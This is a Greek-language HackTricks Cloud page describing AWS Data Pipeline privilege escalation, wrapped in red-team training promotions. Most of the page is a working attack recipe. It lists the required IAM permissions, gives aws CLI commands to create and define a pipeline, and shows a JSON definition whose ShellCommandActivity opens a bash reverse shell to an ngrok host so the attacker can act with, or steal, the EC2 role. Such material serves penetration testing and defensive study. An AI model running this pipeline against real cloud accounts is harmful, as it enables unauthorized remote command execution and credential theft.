AWS - Datapipeline Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
datapipeline
Για περισσότερες πληροφορίες σχετικά με το datapipeline δείτε:
AWS - DataPipeline, CodePipeline & CodeCommit Enum
iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline
Οι χρήστες με αυτά τα δικαιώματα μπορούν να κλιμακώσουν τα προνόμια δημιουργώντας ένα Data Pipeline για να εκτελέσουν αυθαίρετες εντολές χρησιμοποιώντας τα δικαιώματα του ανατεθέντος ρόλου:
aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
Μετά τη δημιουργία του pipeline, ο επιτιθέμενος ενημερώνει τον ορισμό του για να υπαγορεύσει συγκεκριμένες ενέργειες ή δημιουργίες πόρων:
{
"objects": [
{
"id": "CreateDirectory",
"type": "ShellCommandActivity",
"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn": { "ref": "instance" }
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id": "instance",
"name": "instance",
"type": "Ec2Resource",
"actionOnTaskFailure": "terminate",
"actionOnResourceFailure": "retryAll",
"maximumRetries": "1",
"instanceType": "t2.micro",
"securityGroups": ["default"],
"role": "assumable_datapipeline",
"resourceRole": "assumable_ec2_profile_instance"
}
]
}
Note
Σημειώστε ότι ο role στις γραμμές 14, 15 και 27 πρέπει να είναι ένας role assumable by datapipeline.amazonaws.com και ο role στη γραμμή 28 πρέπει να είναι ένας role assumable by ec2.amazonaws.com with a EC2 profile instance.
Επιπλέον, το EC2 instance θα έχει πρόσβαση μόνο στον role που είναι assumable by το EC2 instance (οπότε μπορείτε να κλέψετε μόνο αυτόν).
aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json
Το αρχείο ορισμού pipeline, που δημιουργήθηκε από τον επιτιθέμενο, περιλαμβάνει οδηγίες για την εκτέλεση εντολών ή τη δημιουργία πόρων μέσω του AWS API, αξιοποιώντας τα δικαιώματα ρόλου του Data Pipeline για να αποκτήσει ενδεχομένως επιπλέον προνόμια.
Πιθανός Αντίκτυπος: Άμεση privesc στον ec2 service role που καθορίζεται.
Αναφορές
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

